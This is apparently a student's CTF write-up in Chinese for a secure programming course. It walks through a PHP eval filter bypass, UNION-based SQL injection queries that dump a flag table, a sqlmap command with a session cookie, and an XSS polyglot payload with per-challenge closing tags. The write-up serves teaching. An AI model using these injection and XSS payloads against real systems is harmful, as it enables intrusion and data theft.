###### tags: `NCTU` `CS` `Course` `SecureProgramming` HW 0x07 Write Up == yysung ## [Lab 7-1] Sushi-revenge 題目是將 GET 中 🍣 帶的陣列 sort 後轉成 ascii 字串,再檢查 regex 和有無出現特定字元 檢查成功後再用 eval 執行字串 chr() 在輸入大於 255 的數字進入後會先模 256 再轉成 ascii 字元 所以在要輸入的字元字串每個值都加 256 * idx 就可以繞過 sort 接下來可以使用 `echo(``)` 來產生指令 如果指令中有 waf 內有的字元,可以直接用 waf 陣列來替代 Ex. l 可以使用 $waf[4] 來替代 接下來只要執行 ``` ls / cat /f* ``` 就可以拿到 flag 了 ## [Lab 7-2] EasyPeasy `http://kaibro.tw:9527/news.php?id=` 可以 sql injection `id=-1 union select` 可以執行 select sql 指令 使用 `id=-1 union select 1,2,3` 發現需要填 3 個值 使用 ``` id=-1 union select 1,schema_name,3 from information_schema.schemata limit 1,1 ``` 找到資料庫名 fl4g 使用 ``` id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='fl4g' limit 1,1 ``` 找到表名 secret 使用 ``` id=-1 union select 1,column_name,3 from information_schema.columns where table_name='secret' limit 1,1 ``` 找到欄位名 THIS_IS_FLAG_YO 使用 ``` id=-1 union select 1,THIS_IS_FLAG_YO,3 from fl4g.secret ``` 就可以拿到 flag 了 ## [HW 0x07] cei8a 在 google 搜尋 cei8a 可以看到叫做 cei8a 的 github repo 在 config.php 裡有帳號密碼 登入後發現只有 `http://edu.kaibro.tw:9487/teacher.php?op=s2&td=1` 的 td 可以 sql injection 所以用 sqlmap 掃 injection 方法 ``` sqlmap -u "http://edu.kaibro.tw:9487/teacher.php?op=s2&td=1" --cookie "PHPSESSID=p871jfq729r8h51ohteoradeh7" ``` 找到後就可以放入 sql 指令來找 sql server 的內容 select current_database() => cei8a select current_schema() => public select table_name from information_schema.tables where table_schema='public' => teacher select column_name from information_schema.columns where table_name='teacher' offset 5 limit 1 => passwd select passwd from cei8a.public.teacher limit 1 => flag ## [HW 0x07] XSS Kitchen `"</xmp></style></title></script>--><script>alert()</script>` 黃金開口笑 無 真鯛大陸圖 無 炸鳳尾蝦 </script> 轉生春卷 </script> 寶山飛龍鍋 </script> 昇龍餃子 "</script> 鎮魂饅 </title> 彈跳甲魚湯 \</style> 五味一體 --> 鳳凰水晶 </xmp>